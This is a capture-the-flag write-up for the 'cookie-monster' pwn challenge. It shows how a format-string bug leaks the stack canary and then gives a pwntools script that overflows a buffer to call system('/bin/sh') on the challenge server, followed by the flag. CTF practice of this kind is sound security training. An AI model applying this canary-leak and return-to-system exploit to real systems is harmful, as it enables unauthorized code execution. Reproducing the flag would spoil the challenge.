# Pwn - cookie-monster

## Description

Do you like cookies? I like cookies.

## Downloads

{% file src="<https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Fx9Wi6xwfn7TH4kXjRYoY%2Fcookie-monster?alt=media&token=db245990-882a-414d-94e9-4b4774d245ca>" %}

## Solution

First, let's check the binary security in place.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FowJqgKErME0BQ2oYbVxl%2Fimage.png?alt=media\&token=d2e4c819-479a-401e-b334-181269cdbf48)

Next, decompile the binary in Ghidra. The main logic of the program is in the `bakery()` function.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FEyUUun6eCBUqKlsP8wrk%2Fimage.png?alt=media\&token=f5a5ed83-e1d5-45d9-bc20-31f6f7c2f9ff)

Here, line 17 is particularly interesting because it is a system call but the argument is not what we want. After exploring the binary further in Ghidra, we found an interesting string `/bin/sh`.&#x20;

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FWlchYJhrNfRDirYJhw9H%2Fimage.png?alt=media\&token=00973e79-d41c-4c8f-8349-5d6dd832b2c2)

So we can pretty much formulate our attack plan now. The plan is to make use of the buffer overflow in line 19 to `ret` to system and passing the `/bin/sh` argument into the system call. However, since stack canary is enabled, we would first need to make use of the format string vulnerability in line 13 to leak the canary before proceeding with our buffer overflow.

We shall first find out how to leak the canary in `gdb`. Set a breakpoint at `0x804859e` so that we can inspect the canary value which is to be stored in the `EAX` register.

![Canary in 'EAX' register](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Ffk2kpu6X6TxsDP7ujtah%2Fimage.png?alt=media\&token=1cccb847-9d7f-4582-baf1-4d95181b45d8)

![Set breakpoint in gdb](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FJC4FFhvGbeTdfhLUQsAh%2Fimage.png?alt=media\&token=692d608b-d620-4694-b6ec-3de43bde8367)

Continue execution in gdb and we can see that our canary value is `0xce359b00`.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FuoldzScPXeD3wvlbk9Dz%2Fimage.png?alt=media\&token=504bdbc2-dc9b-48d8-a6d5-0307e55288bd)

The next step requires a little trial and error but since the `fgets` function only reads in 32 characters, we shall try printing `%p` 15 times (30 characters in total). &#x20;

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2F8EMFdcvbmbTZDNEd2CzU%2Fimage.png?alt=media\&token=58681904-0263-4473-9347-4434204f2e79)

We will see that indeed, we can leak the canary `0xce359b00` on the 15th `%p`. Now that we have everything we need, its time to write the exploit script.

```python
from pwn import *

system = 0x804860c
binsh = 0x8048770

context.log_level = 'debug'

#p = process('./cookie-monster')
p = remote('chals.damctf.xyz', 31312)
p.recv()
p.sendline(b'%15$p')
canary = int(p.recvuntil('\n').decode().rstrip().split(" ")[-1], 16)
log.info('Canary = %#x', canary)

payload = b''
payload += b'A' * 32
payload += p32(canary)
payload += b'B' * (48 - len(payload))
payload += p32(system)
payload += p32(binsh)

p.sendlineafter('purchase?\n', payload)
p.interactive()
```

Flag: `dam{s74CK_c00k13S_4r3_d3L1C10Us}`
